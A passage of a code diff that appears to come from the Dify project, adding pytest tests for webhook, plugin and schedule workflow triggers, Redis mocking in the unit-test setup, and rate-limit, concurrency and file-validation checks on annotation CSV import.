+def test_webhook_debug_dispatches_event(
+    test_client_with_containers: FlaskClient,
+    db_session_with_containers: Session,
+    tenant_and_account: tuple[Tenant, Account],
+    app_model: App,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """Webhook single-step debug should dispatch debug event and be pollable."""
+    tenant, account = tenant_and_account
+    webhook_node_id = "webhook-debug-node"
+    graph_json = _build_workflow_graph(webhook_node_id, NodeType.TRIGGER_WEBHOOK)
+    draft_workflow = Workflow.new(
+        tenant_id=tenant.id,
+        app_id=app_model.id,
+        type="workflow",
+        version=Workflow.VERSION_DRAFT,
+        graph=graph_json,
+        features=json.dumps({}),
+        created_by=account.id,
+        environment_variables=[],
+        conversation_variables=[],
+        rag_pipeline_variables=[],
+    )
+    db_session_with_containers.add(draft_workflow)
+    db_session_with_containers.commit()
+
+    webhook_trigger = WorkflowWebhookTrigger(
+        app_id=app_model.id,
+        node_id=webhook_node_id,
+        tenant_id=tenant.id,
+        webhook_id=WEBHOOK_ID_DEBUG,
+        created_by=account.id,
+    )
+    db_session_with_containers.add(webhook_trigger)
+    db_session_with_containers.commit()
+
+    debug_events: list[dict[str, Any]] = []
+    original_dispatch = TriggerDebugEventBus.dispatch
+    monkeypatch.setattr(
+        "controllers.trigger.webhook.TriggerDebugEventBus.dispatch",
+        lambda **kwargs: (debug_events.append(kwargs), original_dispatch(**kwargs))[1],
+    )
+
+    # Listener polls first to enter waiting pool
+    poller = WebhookTriggerDebugEventPoller(
+        tenant_id=tenant.id,
+        user_id=account.id,
+        app_id=app_model.id,
+        node_config=draft_workflow.get_node_config_by_id(webhook_node_id),
+        node_id=webhook_node_id,
+    )
+    assert poller.poll() is None
+
+    response = test_client_with_containers.post(
+        f"/triggers/webhook-debug/{webhook_trigger.webhook_id}",
+        json={"foo": "bar"},
+        headers={"Content-Type": "application/json"},
+    )
+
+    assert response.status_code == 200
+    assert debug_events, "Debug event should be sent to event bus"
+    # Second poll should get the event
+    event = poller.poll()
+    assert event is not None
+    assert event.workflow_args["inputs"]["webhook_body"]["foo"] == "bar"
+    assert debug_events[0]["pool_key"].endswith(f":{app_model.id}:{webhook_node_id}")
+
+
+def test_plugin_single_step_debug_flow(
+    flask_app_with_containers: Flask,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """Plugin single-step debug: listen -> dispatch event -> poller receives and returns variables."""
+    tenant_id = "tenant-1"
+    app_id = "app-1"
+    user_id = "user-1"
+    node_id = "plugin-node"
+    provider_id = "langgenius/provider-1/provider-1"
+    node_config = {
+        "id": node_id,
+        "data": {
+            "type": NodeType.TRIGGER_PLUGIN.value,
+            "title": "plugin",
+            "plugin_id": "plugin-1",
+            "plugin_unique_identifier": "plugin-1",
+            "provider_id": provider_id,
+            "event_name": "created",
+            "subscription_id": "sub-1",
+            "parameters": {},
+        },
+    }
+    # Start listening
+    poller = PluginTriggerDebugEventPoller(
+        tenant_id=tenant_id,
+        user_id=user_id,
+        app_id=app_id,
+        node_config=node_config,
+        node_id=node_id,
+    )
+    assert poller.poll() is None
+
+    from core.trigger.debug.events import build_plugin_pool_key
+
+    pool_key = build_plugin_pool_key(
+        tenant_id=tenant_id,
+        provider_id=provider_id,
+        subscription_id="sub-1",
+        name="created",
+    )
+    TriggerDebugEventBus.dispatch(
+        tenant_id=tenant_id,
+        event=PluginTriggerDebugEvent(
+            timestamp=int(time.time()),
+            user_id=user_id,
+            name="created",
+            request_id="req-1",
+            subscription_id="sub-1",
+            provider_id="provider-1",
+        ),
+        pool_key=pool_key,
+    )
+
+    from core.plugin.entities.request import TriggerInvokeEventResponse
+
+    monkeypatch.setattr(
+        "services.trigger.trigger_service.TriggerService.invoke_trigger_event",
+        staticmethod(
+            lambda **_kwargs: TriggerInvokeEventResponse(
+                variables={"echo": "pong"},
+                cancelled=False,
+            )
+        ),
+    )
+
+    event = poller.poll()
+    assert event is not None
+    assert event.workflow_args["inputs"]["echo"] == "pong"
+
+
+def test_schedule_trigger_creates_trigger_log(
+    db_session_with_containers: Session,
+    tenant_and_account: tuple[Tenant, Account],
+    app_model: App,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """Schedule trigger execution should create WorkflowTriggerLog in database."""
+    from tasks import workflow_schedule_tasks
+
+    tenant, account = tenant_and_account
+
+    # Create published workflow with schedule trigger node
+    schedule_node_id = "schedule-node"
+    graph = {
+        "nodes": [
+            {
+                "id": schedule_node_id,
+                "data": {
+                    "type": NodeType.TRIGGER_SCHEDULE.value,
+                    "title": "schedule",
+                    "mode": "cron",
+                    "cron_expression": "0 9 * * *",
+                    "timezone": "UTC",
+                },
+            },
+            {"id": "answer-1", "data": {"type": NodeType.ANSWER.value, "title": "answer"}},
+        ],
+        "edges": [{"source": schedule_node_id, "target": "answer-1", "sourceHandle": "success"}],
+    }
+    published_workflow = Workflow.new(
+        tenant_id=tenant.id,
+        app_id=app_model.id,
+        type="workflow",
+        version=Workflow.version_from_datetime(naive_utc_now()),
+        graph=json.dumps(graph),
+        features=json.dumps({}),
+        created_by=account.id,
+        environment_variables=[],
+        conversation_variables=[],
+        rag_pipeline_variables=[],
+    )
+    db_session_with_containers.add(published_workflow)
+    app_model.workflow_id = published_workflow.id
+    db_session_with_containers.commit()
+
+    # Create schedule plan
+    plan = WorkflowSchedulePlan(
+        app_id=app_model.id,
+        node_id=schedule_node_id,
+        tenant_id=tenant.id,
+        cron_expression="0 9 * * *",
+        timezone="UTC",
+        next_run_at=naive_utc_now() - timedelta(minutes=1),
+    )
+    app_trigger = AppTrigger(
+        tenant_id=tenant.id,
+        app_id=app_model.id,
+        node_id=schedule_node_id,
+        trigger_type=AppTriggerType.TRIGGER_SCHEDULE,
+        status=AppTriggerStatus.ENABLED,
+        title="schedule",
+    )
+    db_session_with_containers.add_all([plan, app_trigger])
+    db_session_with_containers.commit()
+
+    # Mock AsyncWorkflowService to create WorkflowTriggerLog
+    def _fake_trigger_workflow_async(session: Session, user: Any, trigger_data: Any) -> SimpleNamespace:
+        log = WorkflowTriggerLog(
+            tenant_id=trigger_data.tenant_id,
+            app_id=trigger_data.app_id,
+            workflow_id=published_workflow.id,
+            root_node_id=trigger_data.root_node_id,
+            trigger_metadata="{}",
+            trigger_type=AppTriggerType.TRIGGER_SCHEDULE,
+            workflow_run_id=None,
+            outputs=None,
+            trigger_data=trigger_data.model_dump_json(),
+            inputs=json.dumps(dict(trigger_data.inputs)),
+            status=WorkflowTriggerStatus.SUCCEEDED,
+            error="",
+            queue_name="schedule_executor",
+            celery_task_id="celery-schedule-test",
+            created_by_role=CreatorUserRole.ACCOUNT,
+            created_by=account.id,
+        )
+        session.add(log)
+        session.commit()
+        return SimpleNamespace(workflow_trigger_log_id=log.id, task_id=None, status="queued", queue="test")
+
+    monkeypatch.setattr(
+        workflow_schedule_tasks.AsyncWorkflowService,
+        "trigger_workflow_async",
+        _fake_trigger_workflow_async,
+    )
+
+    # Mock quota to avoid rate limiting
+    from enums import quota_type
+
+    monkeypatch.setattr(quota_type.QuotaType.TRIGGER, "consume", lambda _tenant_id: quota_type.unlimited())
+
+    # Execute schedule trigger
+    workflow_schedule_tasks.run_schedule_trigger(plan.id)
+
+    # Verify WorkflowTriggerLog was created
+    db_session_with_containers.expire_all()
+    logs = db_session_with_containers.query(WorkflowTriggerLog).filter_by(app_id=app_model.id).all()
+    assert logs, "Schedule trigger should create WorkflowTriggerLog"
+    assert logs[0].trigger_type == AppTriggerType.TRIGGER_SCHEDULE
+    assert logs[0].root_node_id == schedule_node_id
+
+
+@pytest.mark.parametrize(
+    ("mode", "frequency", "visual_config", "cron_expression", "expected_cron"),
+    [
+        # Visual mode: hourly
+        ("visual", "hourly", {"on_minute": 30}, None, "30 * * * *"),
+        # Visual mode: daily
+        ("visual", "daily", {"time": "3:00 PM"}, None, "0 15 * * *"),
+        # Visual mode: weekly
+        ("visual", "weekly", {"time": "9:00 AM", "weekdays": ["mon", "wed", "fri"]}, None, "0 9 * * 1,3,5"),
+        # Visual mode: monthly
+        ("visual", "monthly", {"time": "10:30 AM", "monthly_days": [1, 15]}, None, "30 10 1,15 * *"),
+        # Cron mode: direct expression
+        ("cron", None, None, "*/5 * * * *", "*/5 * * * *"),
+    ],
+)
+def test_schedule_visual_cron_conversion(
+    mode: str,
+    frequency: str | None,
+    visual_config: dict[str, Any] | None,
+    cron_expression: str | None,
+    expected_cron: str,
+) -> None:
+    """Schedule visual config should correctly convert to cron expression."""
+
+    node_config: dict[str, Any] = {
+        "id": "schedule-node",
+        "data": {
+            "type": NodeType.TRIGGER_SCHEDULE.value,
+            "mode": mode,
+            "timezone": "UTC",
+        },
+    }
+
+    if mode == "visual":
+        node_config["data"]["frequency"] = frequency
+        node_config["data"]["visual_config"] = visual_config
+    else:
+        node_config["data"]["cron_expression"] = cron_expression
+
+    config = ScheduleService.to_schedule_config(node_config)
+
+    assert config.cron_expression == expected_cron, f"Expected {expected_cron}, got {config.cron_expression}"
+    assert config.timezone == "UTC"
+    assert config.node_id == "schedule-node"
+
+
+def test_plugin_trigger_full_chain_with_db_verification(
+    test_client_with_containers: FlaskClient,
+    db_session_with_containers: Session,
+    tenant_and_account: tuple[Tenant, Account],
+    app_model: App,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """Plugin trigger should create WorkflowTriggerLog and WorkflowPluginTrigger records."""
+
+    tenant, account = tenant_and_account
+
+    # Create published workflow with plugin trigger node
+    plugin_node_id = "plugin-trigger-node"
+    provider_id = "langgenius/test-provider/test-provider"
+    subscription_id = "sub-plugin-test"
+    endpoint_id = "2cc7fa12-3f7b-4f6a-9c8d-1234567890ab"
+
+    graph = {
+        "nodes": [
+            {
+                "id": plugin_node_id,
+                "data": {
+                    "type": NodeType.TRIGGER_PLUGIN.value,
+                    "title": "plugin",
+                    "plugin_id": "test-plugin",
+                    "plugin_unique_identifier": "test-plugin",
+                    "provider_id": provider_id,
+                    "event_name": "test_event",
+                    "subscription_id": subscription_id,
+                    "parameters": {},
+                },
+            },
+            {"id": "answer-1", "data": {"type": NodeType.ANSWER.value, "title": "answer"}},
+        ],
+        "edges": [{"source": plugin_node_id, "target": "answer-1", "sourceHandle": "success"}],
+    }
+    published_workflow = Workflow.new(
+        tenant_id=tenant.id,
+        app_id=app_model.id,
+        type="workflow",
+        version=Workflow.version_from_datetime(naive_utc_now()),
+        graph=json.dumps(graph),
+        features=json.dumps({}),
+        created_by=account.id,
+        environment_variables=[],
+        conversation_variables=[],
+        rag_pipeline_variables=[],
+    )
+    db_session_with_containers.add(published_workflow)
+    app_model.workflow_id = published_workflow.id
+    db_session_with_containers.commit()
+
+    # Create trigger subscription
+    subscription = TriggerSubscription(
+        name="test-subscription",
+        tenant_id=tenant.id,
+        user_id=account.id,
+        provider_id=provider_id,
+        endpoint_id=endpoint_id,
+        parameters={},
+        properties={},
+        credentials={"token": "test-secret"},
+        credential_type="api-key",
+    )
+    db_session_with_containers.add(subscription)
+    db_session_with_containers.commit()
+
+    # Update subscription_id to match the created subscription
+    graph["nodes"][0]["data"]["subscription_id"] = subscription.id
+    published_workflow.graph = json.dumps(graph)
+    db_session_with_containers.commit()
+
+    # Create WorkflowPluginTrigger
+    plugin_trigger = WorkflowPluginTrigger(
+        app_id=app_model.id,
+        tenant_id=tenant.id,
+        node_id=plugin_node_id,
+        provider_id=provider_id,
+        event_name="test_event",
+        subscription_id=subscription.id,
+    )
+    app_trigger = AppTrigger(
+        tenant_id=tenant.id,
+        app_id=app_model.id,
+        node_id=plugin_node_id,
+        trigger_type=AppTriggerType.TRIGGER_PLUGIN,
+        status=AppTriggerStatus.ENABLED,
+        title="plugin",
+    )
+    db_session_with_containers.add_all([plugin_trigger, app_trigger])
+    db_session_with_containers.commit()
+
+    # Track dispatched data
+    dispatched_data: list[dict[str, Any]] = []
+
+    def _fake_process_endpoint(_endpoint_id: str, _request: Any) -> Response:
+        dispatch_data = {
+            "user_id": "end-user",
+            "tenant_id": tenant.id,
+            "endpoint_id": _endpoint_id,
+            "provider_id": provider_id,
+            "subscription_id": subscription.id,
+            "timestamp": int(time.time()),
+            "events": ["test_event"],
+            "request_id": f"req-{_endpoint_id}",
+        }
+        dispatched_data.append(dispatch_data)
+        return Response("ok", status=202)
+
+    monkeypatch.setattr(
+        "services.trigger.trigger_service.TriggerService.process_endpoint",
+        staticmethod(_fake_process_endpoint),
+    )
+
+    response = test_client_with_containers.post(f"/triggers/plugin/{endpoint_id}", json={"test": "data"})
+
+    assert response.status_code == 202
+    assert dispatched_data, "Plugin trigger should dispatch event data"
+    assert dispatched_data[0]["subscription_id"] == subscription.id
+    assert dispatched_data[0]["events"] == ["test_event"]
+
+    # Verify database records exist
+    db_session_with_containers.expire_all()
+    plugin_triggers = (
+        db_session_with_containers.query(WorkflowPluginTrigger)
+        .filter_by(app_id=app_model.id, node_id=plugin_node_id)
+        .all()
+    )
+    assert plugin_triggers, "WorkflowPluginTrigger record should exist"
+    assert plugin_triggers[0].provider_id == provider_id
+    assert plugin_triggers[0].event_name == "test_event"
+
+
+def test_plugin_debug_via_http_endpoint(
+    test_client_with_containers: FlaskClient,
+    db_session_with_containers: Session,
+    tenant_and_account: tuple[Tenant, Account],
+    app_model: App,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    """Plugin single-step debug via HTTP endpoint should dispatch debug event and be pollable."""
+
+    tenant, account = tenant_and_account
+
+    provider_id = "langgenius/debug-provider/debug-provider"
+    endpoint_id = "3cc7fa12-3f7b-4f6a-9c8d-1234567890ab"
+    event_name = "debug_event"
+
+    # Create subscription
+    subscription = TriggerSubscription(
+        name="debug-subscription",
+        tenant_id=tenant.id,
+        user_id=account.id,
+        provider_id=provider_id,
+        endpoint_id=endpoint_id,
+        parameters={},
+        properties={},
+        credentials={"token": "debug-secret"},
+        credential_type="api-key",
+    )
+    db_session_with_containers.add(subscription)
+    db_session_with_containers.commit()
+
+    # Create plugin trigger node config
+    node_id = "plugin-debug-node"
+    node_config = {
+        "id": node_id,
+        "data": {
+            "type": NodeType.TRIGGER_PLUGIN.value,
+            "title": "plugin-debug",
+            "plugin_id": "debug-plugin",
+            "plugin_unique_identifier": "debug-plugin",
+            "provider_id": provider_id,
+            "event_name": event_name,
+            "subscription_id": subscription.id,
+            "parameters": {},
+        },
+    }
+
+    # Start listening with poller
+
+    poller = PluginTriggerDebugEventPoller(
+        tenant_id=tenant.id,
+        user_id=account.id,
+        app_id=app_model.id,
+        node_config=node_config,
+        node_id=node_id,
+    )
+    assert poller.poll() is None, "First poll should return None (waiting)"
+
+    # Track debug events dispatched
+    debug_events: list[dict[str, Any]] = []
+    original_dispatch = TriggerDebugEventBus.dispatch
+
+    def _tracking_dispatch(**kwargs: Any) -> int:
+        debug_events.append(kwargs)
+        return original_dispatch(**kwargs)
+
+    monkeypatch.setattr(TriggerDebugEventBus, "dispatch", staticmethod(_tracking_dispatch))
+
+    # Mock process_endpoint to trigger debug event dispatch
+    def _fake_process_endpoint(_endpoint_id: str, _request: Any) -> Response:
+        # Simulate what happens inside process_endpoint + dispatch_triggered_workflows_async
+        pool_key = build_plugin_pool_key(
+            tenant_id=tenant.id,
+            provider_id=provider_id,
+            subscription_id=subscription.id,
+            name=event_name,
+        )
+        TriggerDebugEventBus.dispatch(
+            tenant_id=tenant.id,
+            event=PluginTriggerDebugEvent(
+                timestamp=int(time.time()),
+                user_id="end-user",
+                name=event_name,
+                request_id=f"req-{_endpoint_id}",
+                subscription_id=subscription.id,
+                provider_id=provider_id,
+            ),
+            pool_key=pool_key,
+        )
+        return Response("ok", status=202)
+
+    monkeypatch.setattr(
+        "services.trigger.trigger_service.TriggerService.process_endpoint",
+        staticmethod(_fake_process_endpoint),
+    )
+
+    # Call HTTP endpoint
+    response = test_client_with_containers.post(f"/triggers/plugin/{endpoint_id}", json={"debug": "payload"})
+
+    assert response.status_code == 202
+    assert debug_events, "Debug event should be dispatched via HTTP endpoint"
+    assert debug_events[0]["event"].name == event_name
+
+    # Mock invoke_trigger_event for poller
+
+    monkeypatch.setattr(
+        "services.trigger.trigger_service.TriggerService.invoke_trigger_event",
+        staticmethod(
+            lambda **_kwargs: TriggerInvokeEventResponse(
+                variables={"http_debug": "success"},
+                cancelled=False,
+            )
+        ),
+    )
+
+    # Second poll should receive the event
+    event = poller.poll()
+    assert event is not None, "Poller should receive debug event after HTTP trigger"
+    assert event.workflow_args["inputs"]["http_debug"] == "success"
diff --git a/api/tests/unit_tests/conftest.py b/api/tests/unit_tests/conftest.py
index f484fb22d3..c5e1576186 100644
--- a/api/tests/unit_tests/conftest.py
+++ b/api/tests/unit_tests/conftest.py
@@ -26,16 +26,29 @@ redis_mock.hgetall = MagicMock(return_value={})
 redis_mock.hdel = MagicMock()
 redis_mock.incr = MagicMock(return_value=1)
 
+# Ensure OpenDAL fs writes to tmp to avoid polluting workspace
+os.environ.setdefault("OPENDAL_SCHEME", "fs")
+os.environ.setdefault("OPENDAL_FS_ROOT", "/tmp/dify-storage")
+os.environ.setdefault("STORAGE_TYPE", "opendal")
+
 # Add the API directory to Python path to ensure proper imports
 import sys
 
 sys.path.insert(0, PROJECT_DIR)
 
-# apply the mock to the Redis client in the Flask app
 from extensions import ext_redis
 
-redis_patcher = patch.object(ext_redis, "redis_client", redis_mock)
-redis_patcher.start()
+
+def _patch_redis_clients_on_loaded_modules():
+    """Ensure any module-level redis_client references point to the shared redis_mock."""
+
+    import sys
+
+    for module in list(sys.modules.values()):
+        if module is None:
+            continue
+        if hasattr(module, "redis_client"):
+            module.redis_client = redis_mock
 
 
 @pytest.fixture
@@ -49,6 +62,15 @@ def _provide_app_context(app: Flask):
         yield
 
 
+@pytest.fixture(autouse=True)
+def _patch_redis_clients():
+    """Patch redis_client to MagicMock only for unit test executions."""
+
+    with patch.object(ext_redis, "redis_client", redis_mock):
+        _patch_redis_clients_on_loaded_modules()
+        yield
+
+
 @pytest.fixture(autouse=True)
 def reset_redis_mock():
     """reset the Redis mock before each test"""
@@ -63,3 +85,20 @@ def reset_redis_mock():
     redis_mock.hgetall.return_value = {}
     redis_mock.hdel.return_value = None
     redis_mock.incr.return_value = 1
+
+    # Keep any imported modules pointing at the mock between tests
+    _patch_redis_clients_on_loaded_modules()
+
+
+@pytest.fixture(autouse=True)
+def reset_secret_key():
+    """Ensure SECRET_KEY-dependent logic sees an empty config value by default."""
+
+    from configs import dify_config
+
+    original = dify_config.SECRET_KEY
+    dify_config.SECRET_KEY = ""
+    try:
+        yield
+    finally:
+        dify_config.SECRET_KEY = original
diff --git a/api/tests/unit_tests/controllers/console/app/test_annotation_security.py b/api/tests/unit_tests/controllers/console/app/test_annotation_security.py
new file mode 100644
index 0000000000..06a7b98baf
--- /dev/null
+++ b/api/tests/unit_tests/controllers/console/app/test_annotation_security.py
@@ -0,0 +1,347 @@
+"""
+Unit tests for annotation import security features.
+
+Tests rate limiting, concurrency control, file validation, and other
+security features added to prevent DoS attacks on the annotation import endpoint.
+"""
+
+import io
+from unittest.mock import MagicMock, patch
+
+import pytest
+from pandas.errors import ParserError
+from werkzeug.datastructures import FileStorage
+
+from configs import dify_config
+
+
+class TestAnnotationImportRateLimiting:
+    """Test rate limiting for annotation import operations."""
+
+    @pytest.fixture
+    def mock_redis(self):
+        """Mock Redis client for testing."""
+        with patch("controllers.console.wraps.redis_client") as mock:
+            yield mock
+
+    @pytest.fixture
+    def mock_current_account(self):
+        """Mock current account with tenant."""
+        with patch("controllers.console.wraps.current_account_with_tenant") as mock:
+            mock.return_value = (MagicMock(id="user_id"), "test_tenant_id")
+            yield mock
+
+    def test_rate_limit_per_minute_enforced(self, mock_redis, mock_current_account):
+        """Test that per-minute rate limit is enforced."""
+        from controllers.console.wraps import annotation_import_rate_limit
+
+        # Simulate exceeding per-minute limit
+        mock_redis.zcard.side_effect = [
+            dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE + 1,  # Minute check
+            10,  # Hour check
+        ]
+
+        @annotation_import_rate_limit
+        def dummy_view():
+            return "success"
+
+        # Should abort with 429
+        with pytest.raises(Exception) as exc_info:
+            dummy_view()
+
+        # Verify it's a rate limit error
+        assert "429" in str(exc_info.value) or "Too many" in str(exc_info.value)
+
+    def test_rate_limit_per_hour_enforced(self, mock_redis, mock_current_account):
+        """Test that per-hour rate limit is enforced."""
+        from controllers.console.wraps import annotation_import_rate_limit
+
+        # Simulate exceeding per-hour limit
+        mock_redis.zcard.side_effect = [
+            3,  # Minute check (under limit)
+            dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR + 1,  # Hour check (over limit)
+        ]
+
+        @annotation_import_rate_limit
+        def dummy_view():
+            return "success"
+
+        # Should abort with 429
+        with pytest.raises(Exception) as exc_info:
+            dummy_view()
+
+        assert "429" in str(exc_info.value) or "Too many" in str(exc_info.value)
+
+    def test_rate_limit_within_limits_passes(self, mock_redis, mock_current_account):
+        """Test that requests within limits are allowed."""
+        from controllers.console.wraps import annotation_import_rate_limit
+
+        # Simulate being under both limits
+        mock_redis.zcard.return_value = 2
+
+        @annotation_import_rate_limit
+        def dummy_view():
+            return "success"
+
+        # Should succeed
+        result = dummy_view()
+        assert result == "success"
+
+        # Verify Redis operations were called
+        assert mock_redis.zadd.called
+        assert mock_redis.zremrangebyscore.called
+
+
+class TestAnnotationImportConcurrencyControl:
+    """Test concurrency control for annotation import operations."""
+
+    @pytest.fixture
+    def mock_redis(self):
+        """Mock Redis client for testing."""
+        with patch("controllers.console.wraps.redis_client") as mock:
+            yield mock
+
+    @pytest.fixture
+    def mock_current_account(self):
+        """Mock current account with tenant."""
+        with patch("controllers.console.wraps.current_account_with_tenant") as mock:
+            mock.return_value = (MagicMock(id="user_id"), "test_tenant_id")
+            yield mock
+
+    def test_concurrency_limit_enforced(self, mock_redis, mock_current_account):
+        """Test that concurrent task limit is enforced."""
+        from controllers.console.wraps import annotation_import_concurrency_limit
+
+        # Simulate max concurrent tasks already running
+        mock_redis.zcard.return_value = dify_config.ANNOTATION_IMPORT_MAX_CONCURRENT
+
+        @annotation_import_concurrency_limit
+        def dummy_view():
+            return "success"
+
+        # Should abort with 429
+        with pytest.raises(Exception) as exc_info:
+            dummy_view()
+
+        assert "429" in str(exc_info.value) or "concurrent" in str(exc_info.value).lower()
+
+    def test_concurrency_within_limit_passes(self, mock_redis, mock_current_account):
+        """Test that requests within concurrency limits are allowed."""
+        from controllers.console.wraps import annotation_import_concurrency_limit
+
+        # Simulate being under concurrent task limit
+        mock_redis.zcard.return_value = 1
+
+        @annotation_import_concurrency_limit
+        def dummy_view():
+            return "success"
+
+        # Should succeed
+        result = dummy_view()
+        assert result == "success"
+
+    def test_stale_jobs_are_cleaned_up(self, mock_redis, mock_current_account):
+        """Test that old/stale job entries are removed."""
+        from controllers.console.wraps import annotation_import_concurrency_limit
+
+        mock_redis.zcard.return_value = 0
+
+        @annotation_import_concurrency_limit
+        def dummy_view():
+            return "success"
+
+        dummy_view()
+
+        # Verify cleanup was called
+        assert mock_redis.zremrangebyscore.called
+
+
+class TestAnnotationImportFileValidation:
+    """Test file validation in annotation import."""
+
+    def test_file_size_limit_enforced(self):
+        """Test that files exceeding size limit are rejected."""
+        # Create a file larger than the limit
+        max_size = dify_config.ANNOTATION_IMPORT_FILE_SIZE_LIMIT * 1024 * 1024
+        large_content = b"x" * (max_size + 1024)  # Exceed by 1KB
+
+        file = FileStorage(stream=io.BytesIO(large_content), filename="test.csv", content_type="text/csv")
+
+        # Should be rejected in controller
+        # This would be tested in integration tests with actual endpoint
+
+    def test_empty_file_rejected(self):
+        """Test that empty files are rejected."""
+        file = FileStorage(stream=io.BytesIO(b""), filename="test.csv", content_type="text/csv")
+
+        # Should be rejected
+        # This would be tested in integration tests
+
+    def test_non_csv_file_rejected(self):
+        """Test that non-CSV files are rejected."""
+        file = FileStorage(stream=io.BytesIO(b"test"), filename="test.txt", content_type="text/plain")
+
+        # Should be rejected based on extension
+        # This would be tested in integration tests
+
+
+class TestAnnotationImportServiceValidation:
+    """Test service layer validation for annotation import."""
+
+    @pytest.fixture
+    def mock_app(self):
+        """Mock application object."""
+        app = MagicMock()
+        app.id = "app_id"
+        return app
+
+    @pytest.fixture
+    def mock_db_session(self):
+        """Mock database session."""
+        with patch("services.annotation_service.db.session") as mock:
+            yield mock
+
+    def test_max_records_limit_enforced(self, mock_app, mock_db_session):
+        """Test that files with too many records are rejected."""
+        from services.annotation_service import AppAnnotationService
+
+        # Create CSV with too many records
+        max_records = dify_config.ANNOTATION_IMPORT_MAX_RECORDS
+        csv_content = "question,answer\n"
+        for i in range(max_records + 100):
+            csv_content += f"Question {i},Answer {i}\n"
+
+        file = FileStorage(stream=io.BytesIO(csv_content.encode()), filename="test.csv", content_type="text/csv")
+
+        mock_db_session.query.return_value.where.return_value.first.return_value = mock_app
+
+        with patch("services.annotation_service.current_account_with_tenant") as mock_auth:
+            mock_auth.return_value = (MagicMock(id="user_id"), "tenant_id")
+
+            with patch("services.annotation_service.FeatureService") as mock_features:
+                mock_features.get_features.return_value.billing.enabled = False
+
+                result = AppAnnotationService.batch_import_app_annotations("app_id", file)
+
+                # Should return error about too many records
+                assert "error_msg" in result
+                assert "too many" in result["error_msg"].lower() or "maximum" in result["error_msg"].lower()
+
+    def test_min_records_limit_enforced(self, mock_app, mock_db_session):
+        """Test that files with too few valid records are rejected."""
+        from services.annotation_service import AppAnnotationService
+
+        # Create CSV with only header (no data rows)
+        csv_content = "question,answer\n"
+
+        file = FileStorage(stream=io.BytesIO(csv_content.encode()), filename="test.csv", content_type="text/csv")
+
+        mock_db_session.query.return_value.where.return_value.first.return_value = mock_app
+
+        with patch("services.annotation_service.current_account_with_tenant") as mock_auth:
+            mock_auth.return_value = (MagicMock(id="user_id"), "tenant_id")
+
+            result = AppAnnotationService.batch_import_app_annotations("app_id", file)
+
+            # Should return error about insufficient records
+            assert "error_msg" in result
+            assert "at least" in result["error_msg"].lower() or "minimum" in result["error_msg"].lower()
+
+    def test_invalid_csv_format_handled(self, mock_app, mock_db_session):
+        """Test that invalid CSV format is handled gracefully."""
+        from services.annotation_service import AppAnnotationService
+
+        # Any content is fine once we force ParserError
+        csv_content = 'invalid,csv,format\nwith,unbalanced,quotes,and"stuff'
+        file = FileStorage(stream=io.BytesIO(csv_content.encode()), filename="test.csv", content_type="text/csv")
+
+        mock_db_session.query.return_value.where.return_value.first.return_value = mock_app
+
+        with (
+            patch("services.annotation_service.current_account_with_tenant") as mock_auth,
+            patch("services.annotation_service.pd.read_csv", side_effect=ParserError("malformed CSV")),
+        ):
+            mock_auth.return_value = (MagicMock(id="user_id"), "tenant_id")
+
+            result = AppAnnotationService.batch_import_app_annotations("app_id", file)
+
+            assert "error_msg" in result
+            assert "malformed" in result["error_msg"].lower()
+
+    def test_valid_import_succeeds(self, mock_app, mock_db_session):
+        """Test that valid import request succeeds."""
+        from services.annotation_service import AppAnnotationService
+
+        # Create valid CSV
+        csv_content = "question,answer\nWhat is AI?,Artificial Intelligence\nWhat is ML?,Machine Learning\n"
+
+        file = FileStorage(stream=io.BytesIO(csv_content.encode()), filename="test.csv", content_type="text/csv")
+
+        mock_db_session.query.return_value.where.return_value.first.return_value = mock_app
+
+        with patch("services.annotation_service.current_account_with_tenant") as mock_auth:
+            mock_auth.return_value = (MagicMock(id="user_id"), "tenant_id")
+
+            with patch("services.annotation_service.FeatureService") as mock_features:
+                mock_features.get_features.return_value.billing.enabled = False
+
+                with patch("services.annotation_service.batch_import_annotations_task") as mock_task:
+                    with patch("services.annotation_service.redis_client"):
+                        result = AppAnnotationService.batch_import_app_annotations("app_id", file)
+
+                        # Should return success response
+                        assert "job_id" in result
+                        assert "job_status" in result
+                        assert result["job_status"] == "waiting"
+                        assert "record_count" in result
+                        assert result["record_count"] == 2
+
+
+class TestAnnotationImportTaskOptimization:
+    """Test optimizations in batch import task."""
+
+    def test_task_has_timeout_configured(self):
+        """Test that task has proper timeout configuration."""
+        from tasks.annotation.batch_import_annotations_task import batch_import_annotations_task
+
+        # Verify task configuration
+        assert hasattr(batch_import_annotations_task, "time_limit")
+        assert hasattr(batch_import_annotations_task, "soft_time_limit")
+
+        # Check timeout values are reasonable
+        # Hard limit should be 6 minutes (360s)
+        # Soft limit should be 5 minutes (300s)
+        # Note: actual values depend on Celery configuration
+
+
+class TestConfigurationValues:
+    """Test that security configuration values are properly set."""
+
+    def test_rate_limit_configs_exist(self):
+        """Test that rate limit configurations are defined."""
+        assert hasattr(dify_config, "ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE")
+        assert hasattr(dify_config, "ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR")
+
+        assert dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE > 0
+        assert dify_config.ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR > 0
+
+    def test_file_size_limit_config_exists(self):
+        """Test that file size limit configuration is defined."""
+        assert hasattr(dify_config, "ANNOTATION_IMPORT_FILE_SIZE_LIMIT")
+        assert dify_config.ANNOTATION_IMPORT_FILE_SIZE_LIMIT > 0
+        assert dify_config.ANNOTATION_IMPORT_FILE_SIZE_LIMIT <= 10  # Reasonable max (10MB)
+
+    def test_record_limit_configs_exist(self):
+        """Test that record limit configurations are defined."""
+        assert hasattr(dify_config, "ANNOTATION_IMPORT_MAX_RECORDS")
+        assert hasattr(dify_config, "ANNOTATION_IMPORT_MIN_RECORDS")
+
+        assert dify_config.ANNOTATION_IMPORT_MAX_RECORDS > 0
+        assert dify_config.ANNOTATION_IMPORT_MIN_RECORDS > 0
+        assert dify_config.ANNOTATION_IMPORT_MIN_RECORDS < dify_config.ANNOTATION_IMPORT_MAX_RECORDS
+
+    def test_concurrency_limit_config_exists(self):
